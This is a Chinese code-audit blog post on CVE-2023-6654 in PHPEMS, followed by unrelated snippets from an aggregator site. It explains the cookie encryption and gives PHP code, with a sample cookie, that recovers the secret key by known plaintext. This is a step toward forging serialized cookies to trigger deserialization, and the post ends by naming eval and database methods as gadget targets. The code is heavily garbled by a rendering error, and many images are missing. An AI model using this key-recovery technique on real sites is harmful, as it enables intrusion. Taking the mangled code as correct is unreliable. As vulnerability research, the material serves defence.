代码审计-CVE-2023-6654-PHPEMS-加密-解密分析

路由:
在这里插入图片描述
入口方法:
在这里插入图片描述
鉴权分析:
在这里插入图片描述
由此可以得出 鉴权是由session类负责获取参数后,由各个类的魔术方法负责:(在此还有一个方法 全局搜索登录关键词)

在这里插入图片描述
1、断点分析:
寻找鉴权点分析(我在文章的操作相关目录下面的app.php类打断点 因为此处打断点后 只需要刷新就会进行鉴权)

在这里插入图片描述
刷新后 步进 来到了session类里

在这里插入图片描述
再次步入后来到 ev类里 该类是一些工具类 如设置或者获取cookie等

在这里插入图片描述
再次步入 来到了 今天的主角 strings类 也就是字符串处理类 在保存cookie或者获取cookie时 先得进行字符串处理 也就是加密和解密 同时该程序在传递信息时 是采用直接传递对象的形式 也就是说存在序列化和反序列化 这样也就引发了 反序列化漏洞 该漏洞的cve 为:CVE-2023-6654
在这里插入图片描述
在客户端访问时 还会调用session类中的getSessionId方法,该方法先判断cookie中是否有用户信息,如果没有 则取信息后调用该类中的 setSessionUser方法,设置cookie,在设置cookie时,进行序列化操作后在加密保存在cookie里

前面提的这些网络安全技术我都整理录制成了视频教程,是我粉丝我都可以无偿分享。

在这里插入图片描述

2、加、解密分析
加密:

public function encode($info){ i n f o = s e r i a l i z e ( info = serialize( info=serialize(info); //先进行序列化操作 $key = CS; // CS为全局常量 在index.php时就引入了全局配置 k l = s t r l e n ( kl = strlen( kl=strlen(key); // 取密匙的长度 i l = s t r l e n ( il = strlen( il=strlen(info); // 取序列化后的文本长度 for($i = 0; $i < $il; $i++) { $p = i i% ikl; // 进行取余操作 i n f o [ info[ info[i] = chr(ord( i n f o [ info[ info[i])+ord( k e y [ key[ key[p])); // 将 i n f o 字符串中第 i 个字符的 A S C I I 值和 info字符串中第i个字符的 ASCII值和 info字符串中第i个字符的ASCII值和key字符串中第p个字符的ASCII值相加,然后将结果转换为对应的字符。这里是重点!!! } return urlencode($info); }
解密:

public function decode($info){ $key = CS; i n f o = u r l d e c o d e ( info = urldecode( info=urldecode(info);//进行url解码 k l = s t r l e n ( kl = strlen( kl=strlen(key); i l = s t r l e n ( il = strlen( il=strlen(info); for($i = 0; $i < $il; $i++) { $p = i i% ikl; i n f o [ info[ info[i] = chr(ord( i n f o [ info[ info[i])-ord( k e y [ key[ key[p])); // 将 i n f o 字符串中第 i 个字符的 A S C I I 值和 info字符串中第i个字符的 ASCII值和 info字符串中第i个字符的ASCII值和key字符串中第p个字符的ASCII值相减,然后将结果转换为对应的字符。
} i n f o = u n s e r i a l i z e ( info = unserialize( info=unserialize(info);// 进行反序列化 return $info; }
由上面的加密和解密的关系中 我得到这样的关系:

加密前 = 加密后 - 密匙
加密后 = 加密前 + 密匙
密匙 = 加密后 - 加密前
如果想使用该反序列化漏洞 就得先加密后 传入cookie中即可触发。但是该程序中得密匙是可以随机定义的,在全局配置文件中的CS常量:

define(‘CS’,‘1hqfx6ticwRxtfviTp940vng!yCQK6’);//请随机生成32位字符串修改此处值
由此可知道,密匙的长度固定 且为 32位字符如果想知道密匙就必须得到逆向加密算法,由我们上面的关系可以得到:密匙 = 加密后 – 加密前

function getkey( i n f o e n , info_en, infoen,info_de){ i l = s t r l e n ( il = strlen( il=strlen(info_en); $kl = 32; //密匙长度固定且为 32 k e y = " " ; f o r ( key = ""; for( key="";for(i = 0; $i < $il; $i++) { $p = i i% ikl; k e y . = c h r ( o r d ( key .= chr(ord( key.=chr(ord(info_en[ i ] ) − o r d ( i])-ord( i])ord(info_de[$p])); // 密匙 = 加密后 - 加密前 } return $key;}
逆向密匙的算法已经搞定了,但是我们还需要 加密前和加密后的信息,并且该信息我们可以直接获得,而且存在共性,也就是在该程序中固有的,

直接用本地调试的办法,获取本地的cookie,使用解密函数直接解密,因为知道密匙可以直接解密。

a:3:{s:9:“sessionid”;s:32:“68769deac60feeeef448e67e1d6f6ace”;s:9:“sessionip”;s:9:“127.0.0.1”;s:16:“sessiontimelimit”;i:1706884249;}
密匙的长度固定为32位 所以要获取固定的 32位,因为存在取余的情况,起始最好的显示结果为 32的整数倍,其他的显示结果需要拼接。

那么我们在分析由哪些方法设置了cookie即可。

在之前的session类中getSessionId方法,就存在设置cookie的操作,并且在设置cookie前 还进行了加密。

在这里插入图片描述
在这里插入图片描述

由此可知,向cookie中储存了 sessionid的id和ip信息,还有创建时间,然后代码审计可得:该程序的sessionid储存在cookie的作用是:用于数据库查询 表名为:x2_session

在这里插入图片描述
可控部分为:

";s:9:“sessionip”;s:9:“127.0.0.1”;s:16:“sessiontimelimit”;i:17068
取32的整数倍 为64后 :”sessionip”;s:9:”127.0.0.1″;s:1刚刚好都是可控的,那么就直接使用函数进行逆向密匙结果:

完整代码为:

function getkey( i n f o e n , info_en, infoen,info_de){ i l = s t r l e n ( il = strlen( il=strlen(info_en); $kl = 32; //密匙长度固定且为 32 k e y = " " ; f o r ( key = ""; for( key="";for(i = 0; $i < $il; $i++) { $p = i i% ikl; k e y . = c h r ( o r d ( key .= chr(ord( key.=chr(ord(info_en[ i ] ) − o r d ( i])-ord( i])ord(info_de[$p])); // 密匙 = 加密后 - 加密前 } return KaTeX parse error: Expected 'EOF', got '}' at position 5: key;}̲info_en = “%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%25BF%25B3%2584%25C2f%2592%25CD%25A9%25CC%25DE%259A%25A6%25A1%259C%25A7%2583%25DD%25D5%25C8%25DB%259C%2586%25D5l%2599e%25AD%25A1%259FX%25AF%257C%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2597%2581%257C%2593oi%25A3%25EE”; i n f o e n = u r l d e c o d e ( info_en = urldecode( infoen=urldecode(info_en); i n f o e n = u r l d e c o d e ( info_en = urldecode( infoen=urldecode(info_en); i n f o d e = ′ a : 3 : s : 9 : " s e s s i o n i d " ; s : 32 : " 68769 d e a c 60 f e e e e f 448 e 67 e 1 d 6 f 6 a c e " ; s : 9 : " s e s s i o n i p " ; s : 9 : " 127.0.0.1 " ; s : 16 : " s e s s i o n t i m e l i m i t " ; i : 1706884249 ; ′ ; info_de = 'a:3:{s:9:"sessionid";s:32:"68769deac60feeeef448e67e1d6f6ace";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706884249;}'; infode=a:3:s:9:"sessionid";s:32:"68769deac60feeeef448e67e1d6f6ace";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706884249;;info_en = substr( i n f o e n , 64 , 32 ) ; info_en,64,32); infoen,64,32);info_de = substr($info_de,64,32);echo i n f o d e . " < / b r > " ; e c h o g e t k e y ( info_de."</br>";echo getkey( infode."</br>";echogetkey(info_en,$info_de);
两次urldecode是因为 一次在cookie中自动编码转换了,还有一次是在加密的时候进行了一次编码。

在这里插入图片描述
也可以取不是32的整数倍作为起始,那么得到的结果需要进行相应的拼接操作:
在这里插入图片描述
3、反序列化可用方法分析
在app/content/cls/api.cls.php中存在多个eval方法,但是引入这个类的方法都是需要登录操作,没办法利用。

在lib/pepdo.cls.php类中,存在多个执行数据库语句的方法。由此可以有限考虑利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/453841.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

docker安装zpan

安装 1.创建数据库 docker run -di --namezpan_mysql -p 3309:3306 -e MYSQL_ROOT_PASSWORD123456 mysql 2.手动新建数据库zpan 3.创建目录 mkdir -p /opt/zpan cd /opt/zpan 4.编写配置文件 vim config.yml #详细配置文档可参考&#xff1a; https://zpan.space/#/zh…

八中友好教室1

题目 思路 我们可以在dfs遍历时顺便统计以每个节点为根的子树的节点个数&#xff0c;然后在回溯的时候判断如果以当前节点的子节点为根的子树的节点个数个数为偶数&#xff0c;说明这些点可以两两配对&#xff0c;所以当前节点与子节点之间不需要配对&#xff0c;否则的话就把…

代码随想录算法训练营29期|day41 任务以及具体任务

第九章 动态规划part03 343. 整数拆分 class Solution {public int integerBreak(int n) {//dp[i] 为正整数 i 拆分后的结果的最大乘积int[] dp new int[n1];dp[2] 1;for(int i 3; i < n; i) {for(int j 1; j < i-j; j) {// 这里的 j 其实最大值为 i-j,再大只不过是重…

保护个人信息安全,避免成为“互联网中的裸泳者”

⚽️ 一、互联网中的裸泳者&#x1f3c0; 二、代理 IP 的应用 - 解锁无限可能⚾️ 三、代理 ip 的几种类型 3.1 动态住宅代理&#xff08;Rotating Residential Proxy&#xff09;3.2 静态住宅代理&#xff08;Static Residential Proxy&#xff09;3.3 动态长效ISP&#xff08…

交友系统---让陌生人变成熟悉人的过程。APP小程序H5三端源码交付,支持二开。

随着社交网络的发展和普及&#xff0c;人们之间的社交模式正在发生着深刻的变革。传统的线下交友方式已经逐渐被线上交友取而代之。而同城交友正是这一趋势的产物&#xff0c;它利用移动互联网的便利性&#xff0c;将同城内的人们连接在一起&#xff0c;打破了时空的限制&#…

挖矿系列:细说Python、conda 和 pip 之间的关系

继续挖矿&#xff0c;挖金矿&#xff01; 1. Python、conda 和 pip Python、conda 和 pip 是在现代数据科学和软件开发中常用的工具&#xff0c;它们各自有不同的作用&#xff0c;但相互之间存在密切的关系&#xff1a; Python&#xff1a;是一种解释型、面向对象的高级程序设…

自定义Dockerfile构建运行springboot

自定义Dockerfile构建运行springboot 通过dockerfile生成自定义nginx镜像 &#xff01;&#xff01;&#xff01;docker 必须在linux环境下才能进行如果你是window则需要装虚拟机 新建一个文件名字为Dockerfile&#xff0c;无需后缀 文件完整名就是Dockerfile,也可以自定义d…

全新 鸿蒙系统

一&#xff0c; 开发框架 基础 二&#xff0c; 官网地址 文档开发&#xff1a;华为HarmonyOS智能终端操作系统官网 | 应用设备分布式开发者生态 三&#xff0c;基础了解 鸿蒙系统是基于 js 和 ts 衍生出来的一个东西 要学 arkts 就要学习 js 和 ts 语法 四&#xff0c…

《合成孔径雷达成像算法与实现》Figure6.4

clc clear close all参数设置 距离向参数设置 R_eta_c 20e3; % 景中心斜距 Tr 2.5e-6; % 发射脉冲时宽 Kr 20e12; % 距离向调频率 alpha_os_r 1.2; % 距离过采样率 Nrg 320; % 距离线采样数 距离向…

相同的树[简单]

优质博文&#xff1a;IT-BLOG-CN 一、题目 给你两棵二叉树的根节点p和q&#xff0c;编写一个函数来检验这两棵树是否相同。如果两个树在结构上相同&#xff0c;并且节点具有相同的值&#xff0c;则认为它们是相同的。 示例 1&#xff1a; 输入&#xff1a;p [1,2,3], q [1,…

opencv中使用cuda加速图像处理

opencv大多数只使用到了cpu的版本&#xff0c;实际上对于复杂的图像处理过程用cuda&#xff08;特别是高分辨率的图像&#xff09;可能会有加速效果。是否需要使用cuda需要思考&#xff1a; 1、opencv的cuda库是否提供了想要的算子。在CUDA-accelerated Computer Vision你可以…

Python中的HTTP代理服务器和客户端的区别与联系

在Python编程中&#xff0c;当我们涉及到网络通信&#xff0c;尤其是HTTP请求时&#xff0c;经常会听到“HTTP代理服务器”和“客户端”这两个词。它们在网络世界中扮演着不同的角色&#xff0c;但又有着紧密的联系。 区别 首先&#xff0c;我们来谈谈它们的区别。 HTTP代理…